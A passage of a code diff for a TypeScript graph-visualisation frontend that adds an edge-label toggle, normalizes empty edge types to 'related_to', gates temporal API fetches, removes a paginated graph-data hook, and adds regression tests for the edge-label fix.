}
|
||||
|
||||
const metricPillStyle: CSSProperties = {
|
||||
background: "rgba(88, 166, 255, 0.08)",
|
||||
color: "#8ed3ff",
|
||||
padding: "6px 11px",
|
||||
borderRadius: 999,
|
||||
fontSize: 12,
|
||||
fontWeight: 700,
|
||||
border: "1px solid rgba(88, 166, 255, 0.14)",
|
||||
};
|
||||
|
||||
const sectionStyle: CSSProperties = {
|
||||
display: "flex",
|
||||
flexDirection: "column",
|
||||
gap: 10,
|
||||
padding: 14,
|
||||
background: "linear-gradient(180deg, rgba(255,255,255,0.025), rgba(255,255,255,0.01))",
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
borderRadius: 16,
|
||||
};
|
||||
|
||||
const sectionTitleStyle: CSSProperties = {
|
||||
color: "#8fa8c6",
|
||||
fontSize: 11,
|
||||
fontWeight: 800,
|
||||
textTransform: "uppercase",
|
||||
letterSpacing: "0.08em",
|
||||
};
|
||||
|
||||
const inputStyle: CSSProperties = {
|
||||
width: "100%",
|
||||
background: "rgba(0, 0, 0, 0.24)",
|
||||
border: "1px solid rgba(88, 166, 255, 0.14)",
|
||||
color: "#fff",
|
||||
borderRadius: 12,
|
||||
padding: "10px 12px",
|
||||
fontSize: 13,
|
||||
};
|
||||
|
||||
const actionButtonStyle: CSSProperties = {
|
||||
background: "linear-gradient(180deg, rgba(53, 130, 245, 0.28), rgba(25, 88, 185, 0.18))",
|
||||
color: "#fff",
|
||||
border: "1px solid rgba(88, 166, 255, 0.2)",
|
||||
borderRadius: 12,
|
||||
padding: "10px 13px",
|
||||
cursor: "pointer",
|
||||
fontWeight: 700,
|
||||
fontSize: 12,
|
||||
display: "inline-flex",
|
||||
alignItems: "center",
|
||||
justifyContent: "center",
|
||||
boxShadow: "inset 0 1px 0 rgba(255,255,255,0.05)",
|
||||
};
|
||||
|
||||
const secondaryActionButtonStyle: CSSProperties = {
|
||||
...actionButtonStyle,
|
||||
background: "rgba(255, 255, 255, 0.035)",
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
color: "#d6e5f8",
|
||||
fontWeight: 500,
|
||||
};
|
||||
|
||||
const predictionCardStyle: CSSProperties = {
|
||||
textAlign: "left",
|
||||
padding: 12,
|
||||
background: "rgba(88, 166, 255, 0.06)",
|
||||
border: "1px solid rgba(88, 166, 255, 0.1)",
|
||||
borderRadius: 14,
|
||||
cursor: "pointer",
|
||||
};
|
||||
|
||||
const pathStepStyle: CSSProperties = {
|
||||
color: "#e6edf3",
|
||||
fontSize: 13,
|
||||
padding: "8px 10px",
|
||||
background: "rgba(255, 255, 255, 0.03)",
|
||||
borderRadius: 8,
|
||||
};
|
||||
|
||||
const propertyCardStyle: CSSProperties = {
|
||||
background: "rgba(0, 0, 0, 0.18)",
|
||||
padding: "10px 12px",
|
||||
borderRadius: 12,
|
||||
border: "1px solid rgba(255, 255, 255, 0.05)",
|
||||
};
|
||||
|
||||
const emptyTextStyle: CSSProperties = {
|
||||
color: "#8b949e",
|
||||
fontSize: 12,
|
||||
lineHeight: 1.5,
|
||||
};
|
||||
|
||||
const subtleChipStyle: CSSProperties = {
|
||||
background: "rgba(255, 255, 255, 0.035)",
|
||||
color: "#9fb6d2",
|
||||
padding: "5px 9px",
|
||||
borderRadius: 999,
|
||||
fontSize: 11,
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
};
|
||||
|
||||
const collapseStyle: CSSProperties = {
|
||||
border: "1px solid rgba(255, 255, 255, 0.05)",
|
||||
borderRadius: 14,
|
||||
background: "rgba(0, 0, 0, 0.14)",
|
||||
overflow: "hidden",
|
||||
};
|
||||
|
||||
const summaryStyle: CSSProperties = {
|
||||
cursor: "pointer",
|
||||
listStyle: "none",
|
||||
padding: "12px 14px",
|
||||
color: "#c6d4e3",
|
||||
fontSize: 12,
|
||||
fontWeight: 700,
|
||||
letterSpacing: "0.04em",
|
||||
textTransform: "uppercase",
|
||||
};
|
||||
@@ -2099,6 +2099,15 @@ function createCollapsedNeighborhoodGraph(
|
||||
return collapsedGraph;
|
||||
}
|
||||
|
||||
// Normalize an edge relationship type: empty string, null, and undefined all
|
||||
// fall back to the project-wide default used consistently across every
|
||||
// aggregation path. Keep this local — it exists only to guarantee that the
|
||||
// three code paths (single-entry, multi-entry, community-grouped) produce the
|
||||
// same semantics and do not diverge again.
|
||||
function normalizeEdgeType(value: string | null | undefined): string {
|
||||
return value || "related_to";
|
||||
}
|
||||
|
||||
function aggregateDisplayGraph(graphRef: GraphRef): Graph<NodeAttributes, EdgeAttributes> {
|
||||
const aggregated = new Graph<NodeAttributes, EdgeAttributes>({
|
||||
type: "directed",
|
||||
@@ -2124,10 +2133,13 @@ function aggregateDisplayGraph(graphRef: GraphRef): Graph<NodeAttributes, EdgeAt
|
||||
const [{ edgeId, attrs }] = entries;
|
||||
aggregated.mergeDirectedEdgeWithKey(edgeId, sourceId, targetId, {
|
||||
...attrs,
|
||||
// #1009: normalize empty/null/undefined edgeType so Sigma's label
|
||||
// renderer never receives a blank string on the single-entry path.
|
||||
edgeType: normalizeEdgeType(attrs.edgeType),
|
||||
dominantEdgeType: normalizeEdgeType(attrs.dominantEdgeType ?? attrs.edgeType),
|
||||
rawEdgeIds: collectRawEdgeIds(attrs, edgeId),
|
||||
isAggregated: isAggregatedEdgeAttributes(attrs),
|
||||
aggregateCount: attrs.aggregateCount ?? collectRawEdgeIds(attrs, edgeId).length,
|
||||
dominantEdgeType: attrs.dominantEdgeType ?? attrs.edgeType,
|
||||
representativeWeight: attrs.representativeWeight ?? Number(attrs.weight ?? 1),
|
||||
});
|
||||
return;
|
||||
@@ -2150,10 +2162,11 @@ function aggregateDisplayGraph(graphRef: GraphRef): Graph<NodeAttributes, EdgeAt
|
||||
const rawEdgeIds = entries.flatMap(({ edgeId, attrs }) => collectRawEdgeIds(attrs, edgeId));
|
||||
const typeCounts = new Map<string, number>();
|
||||
entries.forEach(({ attrs }) => {
|
||||
const edgeType = String(attrs.edgeType ?? "related_to");
|
||||
const edgeType = normalizeEdgeType(attrs.edgeType);
|
||||
typeCounts.set(edgeType, (typeCounts.get(edgeType) ?? 0) + 1);
|
||||
});
|
||||
const dominantEdgeType = [...typeCounts.entries()].sort((left, right) => right[1] - left[1])[0]?.[0] ?? representative.attrs.edgeType ?? "related_to";
|
||||
const dominantEdgeType = [...typeCounts.entries()].sort((left, right) => right[1] - left[1])[0]?.[0]
|
||||
?? normalizeEdgeType(representative.attrs.edgeType);
|
||||
const reverseKey = `${targetId}→${sourceId}`;
|
||||
const isBidirectionalBundle = groupedEdges.has(reverseKey);
|
||||
const syntheticEdgeId = `${AGGREGATED_EDGE_PREFIX}${sourceId}::${targetId}`;
|
||||
@@ -2167,10 +2180,10 @@ function aggregateDisplayGraph(graphRef: GraphRef): Graph<NodeAttributes, EdgeAt
|
||||
rawEdgeIds,
|
||||
isAggregated: true,
|
||||
aggregateCount: rawEdgeIds.length,
|
||||
dominantEdgeType: String(dominantEdgeType),
|
||||
dominantEdgeType: dominantEdgeType,
|
||||
representativeWeight: Number(representative.attrs.weight ?? 1),
|
||||
weight: Number(representative.attrs.weight ?? 1),
|
||||
edgeType: String(representative.attrs.edgeType ?? dominantEdgeType ?? "related_to"),
|
||||
edgeType: representative.attrs.edgeType || dominantEdgeType,
|
||||
parallelCount: rawEdgeIds.length,
|
||||
familySize: rawEdgeIds.length,
|
||||
bundleKind: isBidirectionalBundle ? "bidirectional" : "parallel",
|
||||
@@ -2280,7 +2293,7 @@ function buildCommunityGroupedGraph(): GraphDisplayResult {
|
||||
};
|
||||
bucket.rawEdgeIds.push(String(edgeId));
|
||||
bucket.weight = Math.max(bucket.weight, Number((attrs as EdgeAttributes).weight ?? 1));
|
||||
const edgeType = String((attrs as EdgeAttributes).edgeType ?? "related_to");
|
||||
const edgeType = normalizeEdgeType((attrs as EdgeAttributes).edgeType);
|
||||
bucket.typeCounts.set(edgeType, (bucket.typeCounts.get(edgeType) ?? 0) + 1);
|
||||
groupedEdges.set(key, bucket);
|
||||
});
|
||||
@@ -2396,7 +2409,8 @@ function buildCommunityGroupedGraph(): GraphDisplayResult {
|
||||
if (!visibleGroupedEdgeKeys.has(key)) {
|
||||
return;
|
||||
}
|
||||
const dominantEdgeType = [...bundle.typeCounts.entries()].sort((left, right) => right[1] - left[1])[0]?.[0] ?? "related_to";
|
||||
const dominantEdgeType = [...bundle.typeCounts.entries()].sort((left, right) => right[1] - left[1])[0]?.[0]
|
||||
?? "related_to";
|
||||
const reverseKey = `${bundle.targetId}→${bundle.sourceId}`;
|
||||
const syntheticEdgeId = `${AGGREGATED_EDGE_PREFIX}${key}`;
|
||||
const aggregateCount = bundle.rawEdgeIds.length;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import type { CSSProperties } from "react";
|
||||
|
||||
import type {
|
||||
GraphDiagnosticsSnapshot,
|
||||
GraphEffectAvailability,
|
||||
GraphEffectToggle,
|
||||
} from "../types";
|
||||
@@ -30,6 +31,11 @@ const EFFECT_ROWS: EffectRowConfig[] = [
|
||||
label: "Neighborhood Lens",
|
||||
description: "Local emphasis around the hovered or selected node.",
|
||||
},
|
||||
{
|
||||
key: "edgeLabelsEnabled",
|
||||
label: "Edge Labels",
|
||||
description: "Draw the relationship type on graph edges. Off restores label-free edges on dense graphs.",
|
||||
},
|
||||
{
|
||||
key: "legendEnabled",
|
||||
label: "Semantic Legend",
|
||||
@@ -37,6 +43,17 @@ const EFFECT_ROWS: EffectRowConfig[] = [
|
||||
},
|
||||
];
|
||||
|
||||
// Maps the effect toggle keys rendered by this plugin to their corresponding
|
||||
// availability keys in GraphDiagnosticsSnapshot["effectAvailability"]. Kept
|
||||
// local because this plugin only renders a subset of all effects.
|
||||
const EFFECT_AVAILABILITY_KEYS: Partial<Record<GraphEffectToggle, keyof GraphDiagnosticsSnapshot["effectAvailability"]>> = {
|
||||
pathPulseEnabled: "pathPulse",
|
||||
pathFlowEnabled: "pathFlow",
|
||||
lensEnabled: "lens",
|
||||
edgeLabelsEnabled: "edgeLabels",
|
||||
legendEnabled: "legend",
|
||||
};
|
||||
|
||||
function renderAvailabilityText(availability: GraphEffectAvailability) {
|
||||
if (availability.available) {
|
||||
if (typeof availability.visibleSegments === "number" && typeof availability.segmentCap === "number") {
|
||||
@@ -139,15 +156,9 @@ export const explorationEffectsPlugin: GraphPlugin = {
|
||||
description={row.description}
|
||||
checked={effectsState[row.key]}
|
||||
availability={
|
||||
availability?.[
|
||||
row.key === "pathPulseEnabled"
|
||||
? "pathPulse"
|
||||
: row.key === "pathFlowEnabled"
|
||||
? "pathFlow"
|
||||
: row.key === "lensEnabled"
|
||||
? "lens"
|
||||
: "legend"
|
||||
] ?? {
|
||||
(EFFECT_AVAILABILITY_KEYS[row.key] !== undefined
|
||||
? availability?.[EFFECT_AVAILABILITY_KEYS[row.key]!]
|
||||
: undefined) ?? {
|
||||
enabled: effectsState[row.key],
|
||||
available: false,
|
||||
reason: "Waiting for graph runtime",
|
||||
|
||||
@@ -47,6 +47,11 @@ const SCENE_EFFECT_ROWS: EffectRowConfig[] = [
|
||||
label: "Contours",
|
||||
description: "Low-contrast density halos around the strongest visible anchors.",
|
||||
},
|
||||
{
|
||||
key: "edgeLabelsEnabled",
|
||||
label: "Edge Labels",
|
||||
description: "Draw the relationship type on graph edges. Off restores label-free edges on dense graphs.",
|
||||
},
|
||||
{
|
||||
key: "legendEnabled",
|
||||
label: "Regions Summary",
|
||||
@@ -83,6 +88,7 @@ const AVAILABILITY_KEYS: Record<GraphEffectToggle, keyof GraphDiagnosticsSnapsho
|
||||
communitiesEnabled: "communities",
|
||||
centralityEnabled: "centrality",
|
||||
legendEnabled: "legend",
|
||||
edgeLabelsEnabled: "edgeLabels",
|
||||
diagnosticsEnabled: "diagnostics",
|
||||
};
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
import type { GraphLoadSummary } from "./types";
|
||||
|
||||
/**
|
||||
* Predicates for gating GraphWorkspace temporal API requests.
|
||||
*
|
||||
* Temporal bounds and snapshot requests must strictly not execute until the
|
||||
* initial graph load has succeeded (summary !== undefined). An empty graph
|
||||
* (nodeCount: 0) is still a successful load and must not be rejected.
|
||||
*/
|
||||
|
||||
export function shouldFetchTemporalBounds(
|
||||
summary: GraphLoadSummary | undefined,
|
||||
): boolean {
|
||||
return summary !== undefined;
|
||||
}
|
||||
|
||||
export function shouldFetchTemporalSnapshot({
|
||||
debouncedTime,
|
||||
isLoading,
|
||||
summary,
|
||||
}: {
|
||||
debouncedTime: Date | null;
|
||||
isLoading: boolean;
|
||||
summary: GraphLoadSummary | undefined;
|
||||
}): boolean {
|
||||
return (
|
||||
summary !== undefined &&
|
||||
debouncedTime !== null &&
|
||||
!isLoading
|
||||
);
|
||||
}
|
||||
@@ -103,6 +103,7 @@ export type GraphEffectToggle =
|
||||
| "communitiesEnabled"
|
||||
| "centralityEnabled"
|
||||
| "legendEnabled"
|
||||
| "edgeLabelsEnabled"
|
||||
| "diagnosticsEnabled";
|
||||
|
||||
export interface GraphEffectsState {
|
||||
@@ -113,6 +114,7 @@ export interface GraphEffectsState {
|
||||
semanticRegionsEnabled: boolean;
|
||||
contoursEnabled: boolean;
|
||||
pathfindingEnabled: boolean;
|
||||
edgeLabelsEnabled: boolean;
|
||||
communitiesEnabled: boolean;
|
||||
centralityEnabled: boolean;
|
||||
legendEnabled: boolean;
|
||||
@@ -186,6 +188,7 @@ export interface GraphDiagnosticsSnapshot {
|
||||
communities: GraphEffectAvailability;
|
||||
centrality: GraphEffectAvailability;
|
||||
legend: GraphEffectAvailability;
|
||||
edgeLabels: GraphEffectAvailability;
|
||||
diagnostics: GraphEffectAvailability;
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,223 +0,0 @@
|
||||
import { useQuery, useQueryClient } from "@tanstack/react-query";
|
||||
import { createGraphLoadProgress } from "./graphLoading";
|
||||
import type { ApiEdge, ApiNode, GraphDataSnapshot, GraphLoadProgress, GraphLayoutSource } from "./types";
|
||||
|
||||
interface NodeListResponse {
|
||||
nodes: ApiNode[];
|
||||
total: number;
|
||||
skip: number;
|
||||
limit: number;
|
||||
next_cursor?: string | null;
|
||||
}
|
||||
|
||||
interface EdgeListResponse {
|
||||
edges: ApiEdge[];
|
||||
total: number;
|
||||
skip: number;
|
||||
limit: number;
|
||||
next_cursor?: string | null;
|
||||
}
|
||||
|
||||
const PAGE_LIMIT = 1000;
|
||||
|
||||
async function fetchAllNodes(
|
||||
signal: AbortSignal,
|
||||
onProgress?: (progress: GraphLoadProgress) => void,
|
||||
): Promise<ApiNode[]> {
|
||||
let cursor: string | null = null;
|
||||
const collected: ApiNode[] = [];
|
||||
let total: number | null = null;
|
||||
|
||||
while (true) {
|
||||
const url = new URL("/api/graph/nodes", window.location.origin);
|
||||
url.searchParams.set("limit", String(PAGE_LIMIT));
|
||||
if (cursor) {
|
||||
url.searchParams.set("cursor", cursor);
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { signal });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Fetch failed: ${response.status}`);
|
||||
}
|
||||
|
||||
const data: NodeListResponse = await response.json();
|
||||
if (!data.nodes?.length) {
|
||||
break;
|
||||
}
|
||||
|
||||
total = data.total ?? total;
|
||||
collected.push(...data.nodes);
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "fetching_nodes",
|
||||
progressKind: total ? "determinate" : "indeterminate",
|
||||
loaded: collected.length,
|
||||
total,
|
||||
nodesLoaded: collected.length,
|
||||
nodesTotal: total,
|
||||
edgesLoaded: 0,
|
||||
edgesTotal: null,
|
||||
message: total
|
||||
? `Loading nodes ${collected.length.toLocaleString()} of ${total.toLocaleString()}`
|
||||
: `Loading nodes ${collected.length.toLocaleString()}`,
|
||||
}));
|
||||
|
||||
if (!data.next_cursor) {
|
||||
break;
|
||||
}
|
||||
cursor = data.next_cursor;
|
||||
await yieldToMain();
|
||||
}
|
||||
|
||||
return collected;
|
||||
}
|
||||
|
||||
async function fetchAllEdges(
|
||||
signal: AbortSignal,
|
||||
nodeIds: Set<string>,
|
||||
nodeProgress: { loaded: number; total: number | null },
|
||||
onProgress?: (progress: GraphLoadProgress) => void,
|
||||
): Promise<ApiEdge[]> {
|
||||
let cursor: string | null = null;
|
||||
const collected: ApiEdge[] = [];
|
||||
const seenEdgeIds = new Set<string>();
|
||||
let total: number | null = null;
|
||||
let warnedOverTotal = false;
|
||||
|
||||
while (true) {
|
||||
const url = new URL("/api/graph/edges", window.location.origin);
|
||||
url.searchParams.set("limit", String(PAGE_LIMIT));
|
||||
if (cursor) {
|
||||
url.searchParams.set("cursor", cursor);
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { signal });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Fetch failed: ${response.status}`);
|
||||
}
|
||||
|
||||
const data: EdgeListResponse = await response.json();
|
||||
if (!data.edges?.length) {
|
||||
break;
|
||||
}
|
||||
|
||||
total = data.total ?? total;
|
||||
const validEdges = data.edges.filter((edge) => {
|
||||
if (!nodeIds.has(edge.source) || !nodeIds.has(edge.target)) {
|
||||
return false;
|
||||
}
|
||||
if (seenEdgeIds.has(edge.id)) {
|
||||
return false;
|
||||
}
|
||||
seenEdgeIds.add(edge.id);
|
||||
return true;
|
||||
});
|
||||
collected.push(...validEdges);
|
||||
const safeLoaded = total ? Math.min(seenEdgeIds.size, total) : seenEdgeIds.size;
|
||||
if (!warnedOverTotal && total !== null && seenEdgeIds.size > total) {
|
||||
warnedOverTotal = true;
|
||||
console.warn("[graph-runtime] edge pagination returned more unique edge ids than total", {
|
||||
uniqueEdgesLoaded: seenEdgeIds.size,
|
||||
total,
|
||||
});
|
||||
}
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "fetching_edges",
|
||||
progressKind: total ? "determinate" : "indeterminate",
|
||||
loaded: safeLoaded,
|
||||
total,
|
||||
nodesLoaded: nodeProgress.loaded,
|
||||
nodesTotal: nodeProgress.total,
|
||||
edgesLoaded: safeLoaded,
|
||||
edgesTotal: total,
|
||||
message: total
|
||||
? `Loading edges ${safeLoaded.toLocaleString()} of ${total.toLocaleString()}`
|
||||
: `Loading edges ${safeLoaded.toLocaleString()}`,
|
||||
}));
|
||||
|
||||
if (!data.next_cursor) {
|
||||
break;
|
||||
}
|
||||
cursor = data.next_cursor;
|
||||
await yieldToMain();
|
||||
}
|
||||
|
||||
return collected;
|
||||
}
|
||||
|
||||
function yieldToMain(): Promise<void> {
|
||||
if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
|
||||
return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
|
||||
}
|
||||
return new Promise((resolve) => setTimeout(resolve, 0));
|
||||
}
|
||||
|
||||
function hasUsableCoordinate(value: number | null | undefined): value is number {
|
||||
return typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
|
||||
interface UseGraphDataOptions {
|
||||
enabled?: boolean;
|
||||
onProgress?: (progress: GraphLoadProgress) => void;
|
||||
}
|
||||
|
||||
export function useGraphData(options: UseGraphDataOptions = {}) {
|
||||
const { enabled = true, onProgress } = options;
|
||||
|
||||
return useQuery<GraphDataSnapshot>({
|
||||
queryKey: ["graph", "runtime-snapshot"],
|
||||
enabled,
|
||||
staleTime: Infinity,
|
||||
queryFn: async ({ signal }): Promise<GraphDataSnapshot> => {
|
||||
const startedAt = performance.now();
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "bootstrapping",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: 0,
|
||||
nodesTotal: null,
|
||||
edgesLoaded: 0,
|
||||
edgesTotal: null,
|
||||
message: "Preparing graph session",
|
||||
}));
|
||||
|
||||
const nodes = await fetchAllNodes(signal, onProgress);
|
||||
const nodeIds = new Set(nodes.map((node) => node.id));
|
||||
const edges = await fetchAllEdges(
|
||||
signal,
|
||||
nodeIds,
|
||||
{ loaded: nodes.length, total: nodes.length },
|
||||
onProgress,
|
||||
);
|
||||
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "hydrating_scene",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: nodes.length,
|
||||
nodesTotal: nodes.length,
|
||||
edgesLoaded: edges.length,
|
||||
edgesTotal: edges.length,
|
||||
message: "Preparing graph runtime snapshot",
|
||||
}));
|
||||
|
||||
return {
|
||||
nodes,
|
||||
edges,
|
||||
summary: {
|
||||
nodeCount: nodes.length,
|
||||
edgeCount: edges.length,
|
||||
loadTimeMs: Math.round(performance.now() - startedAt),
|
||||
hasCoordinates: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
|
||||
layoutSource: (nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y))
|
||||
? "provided"
|
||||
: "runtime") as GraphLayoutSource,
|
||||
layoutReady: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
|
||||
},
|
||||
fetchedAt: Date.now(),
|
||||
};
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
export function useReloadGraphData() {
|
||||
const queryClient = useQueryClient();
|
||||
return () => queryClient.invalidateQueries({ queryKey: ["graph", "runtime-snapshot"] });
|
||||
}
|
||||
@@ -1061,3 +1061,198 @@ test("checkGroupedViewAvailability returns available when communities exist", ()
|
||||
assert.equal(result.reason, null);
|
||||
});
|
||||
|
||||
|
||||
// ── #1009: edge label data-path regression tests ─────────────────────────────
|
||||
|
||||
test("resolveDisplayGraph parallel-bundle preserves edgeType on aggregated edge", () => {
|
||||
addNode("a");
|
||||
addNode("b");
|
||||
batchMergeEdges([
|
||||
{ id: "e1", source: "a", target: "b", attributes: { edgeType: "causes", weight: 1, properties: {} } },
|
||||
{ id: "e2", source: "a", target: "b", attributes: { edgeType: "causes", weight: 2, properties: {} } },
|
||||
]);
|
||||
|
||||
const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true });
|
||||
assert.equal(displayGraph.size, 1);
|
||||
|
||||
const edgeId = displayGraph.edges()[0];
|
||||
const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string; isAggregated?: boolean };
|
||||
assert.equal(attrs.isAggregated, true);
|
||||
// The aggregated representative must carry the relationship text through to
|
||||
// the edgeReducer's label assignment.
|
||||
assert.equal(typeof attrs.edgeType, "string");
|
||||
assert.ok((attrs.edgeType ?? "").length > 0, "aggregated edge must have a non-empty edgeType");
|
||||
});
|
||||
|
||||
test("resolveDisplayGraph parallel-bundle picks dominant edgeType across mixed types", () => {
|
||||
addNode("a");
|
||||
addNode("b");
|
||||
batchMergeEdges([
|
||||
{ id: "e1", source: "a", target: "b", attributes: { edgeType: "inhibits", weight: 1, properties: {} } },
|
||||
{ id: "e2", source: "a", target: "b", attributes: { edgeType: "inhibits", weight: 1, properties: {} } },
|
||||
{ id: "e3", source: "a", target: "b", attributes: { edgeType: "activates", weight: 1, properties: {} } },
|
||||
]);
|
||||
|
||||
const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true });
|
||||
const edgeId = displayGraph.edges()[0];
|
||||
const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string; dominantEdgeType?: string };
|
||||
// "inhibits" appears twice so it must be the dominant type.
|
||||
assert.equal(attrs.edgeType, "inhibits");
|
||||
assert.equal(attrs.dominantEdgeType, "inhibits");
|
||||
});
|
||||
|
||||
test("resolveDisplayGraph grouped view community edges carry non-empty edgeType", () => {
|
||||
const left = ["g1", "g2", "g3", "g4"];
|
||||
const right = ["h1", "h2", "h3", "h4"];
|
||||
[...left, ...right].forEach((nodeId, index) => addNode(nodeId, index < left.length ? "left" : "right"));
|
||||
|
||||
let edgeIndex = 0;
|
||||
for (let i = 0; i < left.length; i += 1) {
|
||||
for (let j = 0; j < left.length; j += 1) {
|
||||
if (i !== j) {
|
||||
batchMergeEdges([{
|
||||
id: `lg-${edgeIndex++}`,
|
||||
source: left[i],
|
||||
target: left[j],
|
||||
attributes: { edgeType: "co_occurs", weight: 3, properties: {} },
|
||||
}]);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (let i = 0; i < right.length; i += 1) {
|
||||
for (let j = 0; j < right.length; j += 1) {
|
||||
if (i !== j) {
|
||||
batchMergeEdges([{
|
||||
id: `rg-${edgeIndex++}`,
|
||||
source: right[i],
|
||||
target: right[j],
|
||||
attributes: { edgeType: "co_occurs", weight: 3, properties: {} },
|
||||
}]);
|
||||
}
|
||||
}
|
||||
}
|
||||
batchMergeEdges([{ id: "bridge-g", source: "g1", target: "h1", attributes: { edgeType: "interacts_with", weight: 0.1, properties: {} } }]);
|
||||
|
||||
const { graph: displayGraph, state } = resolveDisplayGraph("", [], [], "grouped", { aggregationEnabled: true });
|
||||
assert.equal(state.groupedViewAvailable, true);
|
||||
|
||||
const communityEdges = displayGraph.edges().filter((edgeId) => {
|
||||
const attrs = displayGraph.getEdgeAttributes(edgeId) as { bundleKind?: string };
|
||||
return attrs.bundleKind === "community";
|
||||
});
|
||||
assert.ok(communityEdges.length > 0, "expected at least one community bundle edge");
|
||||
|
||||
for (const edgeId of communityEdges) {
|
||||
const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string };
|
||||
assert.equal(typeof attrs.edgeType, "string");
|
||||
assert.ok((attrs.edgeType ?? "").length > 0, `community edge ${edgeId} must have a non-empty edgeType`);
|
||||
}
|
||||
});
|
||||
|
||||
test("resolveDisplayGraph raw edge preserves exact edgeType string for label rendering", () => {
|
||||
addNode("src");
|
||||
addNode("tgt");
|
||||
batchMergeEdges([{
|
||||
id: "raw-1",
|
||||
source: "src",
|
||||
target: "tgt",
|
||||
attributes: { edgeType: "works_for", weight: 1, properties: {} },
|
||||
}]);
|
||||
|
||||
// In full view without aggregation the edge passes through unchanged.
|
||||
const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: false });
|
||||
assert.equal(displayGraph.size, 1);
|
||||
|
||||
const edgeId = displayGraph.edges()[0];
|
||||
const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string };
|
||||
assert.equal(attrs.edgeType, "works_for");
|
||||
});
|
||||
|
||||
test("resolveDisplayGraph does not produce empty-string edgeType on aggregated edges when source has empty type", () => {
|
||||
addNode("a");
|
||||
addNode("b");
|
||||
// Simulate an API response where type is empty string — the aggregation
|
||||
// path must not propagate a blank label.
|
||||
batchMergeEdges([
|
||||
{ id: "e-empty-1", source: "a", target: "b", attributes: { edgeType: "", weight: 1, properties: {} } },
|
||||
{ id: "e-empty-2", source: "a", target: "b", attributes: { edgeType: "", weight: 1, properties: {} } },
|
||||
]);
|
||||
|
||||
const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true });
|
||||
const edgeId = displayGraph.edges()[0];
|
||||
const attrs = displayGraph.getEdgeAttributes(edgeId) as {
|
||||
edgeType?: string;
|
||||
isAggregated?: boolean;
|
||||
};
|
||||
assert.equal(attrs.isAggregated, true);
|
||||
// The aggregation falls back to "related_to" when all source edgeTypes are
|
||||
// empty, so the rendered label should never be an empty string.
|
||||
assert.equal(attrs.edgeType, "related_to");
|
||||
});
|
||||
|
||||
test("resolveEdgeElementStyle hidden class produces hidden:true for suppressed edges", () => {
|
||||
// Verify the data condition the edgeReducer relies on: hidden-classified
|
||||
// edges must have hidden:true so that the label assignment sets undefined.
|
||||
const style = resolveEdgeElementStyle(
|
||||
GRAPH_THEME,
|
||||
"overview",
|
||||
"inactive",
|
||||
{
|
||||
edgeType: "causes",
|
||||
weight: 1,
|
||||
properties: {},
|
||||
edgeVariant: "line",
|
||||
visualPriority: 0.05,
|
||||
baseSize: 0.3,
|
||||
},
|
||||
"source",
|
||||
"target",
|
||||
"full",
|
||||
"inactive-edge",
|
||||
"hidden",
|
||||
);
|
||||
assert.equal(style.hidden, true);
|
||||
});
|
||||
|
||||
// ── #1009 maintainer-blocking regression: single-edge empty edgeType ─────────
|
||||
|
||||
test("resolveDisplayGraph single-edge normalizes empty-string edgeType to related_to", () => {
|
||||
addNode("a");
|
||||
addNode("b");
|
||||
// One edge only — exercises the entries.length === 1 path in aggregateDisplayGraph.
|
||||
batchMergeEdges([{
|
||||
id: "e-single-empty",
|
||||
source: "a",
|
||||
target: "b",
|
||||
attributes: { edgeType: "", weight: 1, properties: {} },
|
||||
}]);
|
||||
|
||||
const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true });
|
||||
assert.equal(displayGraph.size, 1);
|
||||
|
||||
const edgeId = displayGraph.edges()[0];
|
||||
const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string; dominantEdgeType?: string };
|
||||
assert.equal(attrs.edgeType, "related_to",
|
||||
"single-edge path must normalize empty edgeType to the canonical fallback");
|
||||
assert.equal(attrs.dominantEdgeType, "related_to",
|
||||
"single-edge dominantEdgeType must also be normalized");
|
||||
});
|
||||
|
||||
test("resolveDisplayGraph single-edge preserves a valid non-empty edgeType unchanged", () => {
|
||||
addNode("a");
|
||||
addNode("b");
|
||||
batchMergeEdges([{
|
||||
id: "e-single-valid",
|
||||
source: "a",
|
||||
target: "b",
|
||||
attributes: { edgeType: "works_for", weight: 1, properties: {} },
|
||||
}]);
|
||||
|
||||
const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true });
|
||||
assert.equal(displayGraph.size, 1);
|
||||
|
||||
const edgeId = displayGraph.edges()[0];
|
||||
const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string };
|
||||
assert.equal(attrs.edgeType, "works_for",
|
||||
